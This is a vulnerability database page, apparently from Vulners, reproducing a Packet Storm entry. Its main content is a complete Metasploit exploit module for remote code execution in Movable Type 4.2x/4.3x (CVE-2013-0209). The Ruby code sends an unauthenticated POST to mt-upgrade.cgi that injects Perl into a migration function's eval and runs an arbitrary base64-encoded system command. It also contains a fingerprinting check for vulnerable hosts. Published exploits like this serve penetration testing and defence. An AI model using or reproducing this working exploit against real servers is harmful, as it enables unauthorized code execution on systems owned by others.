Lucene search
K

Movable Type 4.2x / 4.3x Web Upgrade Remote Code Execution

🗓️ 25 Jan 2013 00:00:00Reported by Gary O'Leary-SteeleType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 39 Views

Movable Type 4.2x / 4.3x Web Upgrade Remote Code Execution vulnerability in MoveableType platform that allows remote code execution due to a CGI script, mt-upgrade.cgi, without authentication. Allows injection of Perl code.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Movable Type 4.2x, 4.3x Web Upgrade Remote Code Execution
24 Jan 201300:00
zdt
ATTACKERKB
CVE-2013-0209
23 Jan 201301:55
attackerkb
Circl
CVE-2012-6315
7 Jan 201300:00
circl
Circl
CVE-2013-0209
7 Jan 201300:00
circl
Check Point Advisories
Movable Type 4.2x 4.3x Upgrade Script RCE Script Injection - Ver2 (CVE-2012-6315)
31 Mar 201400:00
checkpoint_advisories
Check Point Advisories
Movable Type Web Upgrade Remote Code Execution (CVE-2013-0209)
6 Dec 201600:00
checkpoint_advisories
CVE
CVE-2012-6315
23 Jan 201301:00
cve
CVE
CVE-2013-0209
23 Jan 201301:00
cve
Cvelist
CVE-2012-6315
23 Jan 201301:00
cvelist
Cvelist
CVE-2013-0209
23 Jan 201301:00
cvelist
Rows per page
`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit4 < Msf::Exploit::Remote  
  
include Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Movable Type 4.2x, 4.3x Web Upgrade Remote Code Execution',  
'Description' => %q{  
This module can be used to execute a payload on MoveableType (MT) that  
exposes a CGI script, mt-upgrade.cgi (usually at /mt/mt-upgrade.cgi),  
that is used during installation and updating of the platform.  
The vulnerability arises due to the following properties:  
1. This script may be invoked remotely without requiring authentication  
to any MT instance.  
2. Through a crafted POST request, it is possible to invoke particular  
database migration functions (i.e functions that bring the existing  
database up-to-date with an updated codebase) by name and with  
particular parameters.  
3. A particular migration function, core_drop_meta_for_table, allows  
a class parameter to be set which is used directly in a perl eval  
statement, allowing perl code injection.  
},  
'Author' =>  
[  
'Kacper Nowak',  
'Nick Blundell',  
'Gary O\'Leary-Steele'  
],  
'References' =>  
[  
['CVE', '2012-6315'], # superseded by CVE-2013-0209 (duplicate)  
['CVE', '2013-0209'],  
['URL', 'http://www.sec-1.com/blog/?p=402'],  
['URL', 'http://www.movabletype.org/2013/01/movable_type_438_patch.html']  
],  
'Arch' => ARCH_CMD,  
'Payload' =>  
{  
'Compat' =>  
{  
'PayloadType' => 'cmd'  
}  
},  
'Platform' =>  
[  
'win',  
'unix'  
],  
'Targets' =>  
[  
['Movable Type 4.2x, 4.3x', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => "Jan 07 2013",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The URI path of the Movable Type installation', '/mt'])  
], self.class)  
end  
  
def check  
@peer = "#{rhost}:#{rport}"  
fingerprint = rand_text_alpha(5)  
print_status("#{@peer} - Sending check...")  
begin  
res = http_send_raw(fingerprint)  
rescue Rex::ConnectionError  
return Exploit::CheckCode::Unknown  
end  
if (res)  
if (res.code == 200 and res.body =~ /Can't locate object method \\"dbi_driver\\" via package \\"#{fingerprint}\\" at/)  
return Exploit::CheckCode::Vulnerable  
elsif (res.code != 200)  
return Exploit::CheckCode::Unknown  
else  
return Exploit::CheckCode::Safe  
end  
else  
return Exploit::CheckCode::Unknown  
end  
end  
  
def exploit  
@peer = "#{rhost}:#{rport}"  
print_status("#{@peer} - Sending payload...")  
http_send_cmd(payload.encoded)  
end  
  
def http_send_raw(cmd)  
path = normalize_uri(target_uri.path) + '/mt-upgrade.cgi'  
pay = cmd.gsub('\\', '\\\\').gsub('"', '\"')  
send_request_cgi(  
{  
'uri' => path,  
'method' => 'POST',  
'vars_post' =>  
{  
'__mode' => 'run_actions',  
'installing' => '1',  
'steps' => %{[["core_drop_meta_for_table","class","#{pay}"]]}  
}  
})  
end  
  
def http_send_cmd(cmd)  
pay = 'v0;use MIME::Base64;system(decode_base64(q('  
pay << Rex::Text.encode_base64(cmd)  
pay << ')));return 0'  
http_send_raw(pay)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation